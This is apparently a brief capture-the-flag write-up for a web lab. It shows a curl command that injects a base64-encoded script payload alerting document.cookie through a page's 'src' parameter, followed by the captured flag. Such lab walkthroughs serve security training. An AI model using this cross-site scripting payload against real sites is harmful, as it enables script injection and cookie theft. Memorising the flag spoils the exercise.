One image on the home page is clickable and it follows to the http://$IPADDR/?page=media
page
curl -s "http://$IPADDR/?page=media&src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+" | grep flag
...
The flag is : 928d819fc19405ae09921a2b71227bd9aba106f9d2d37ac412e9e5a750f1506d
...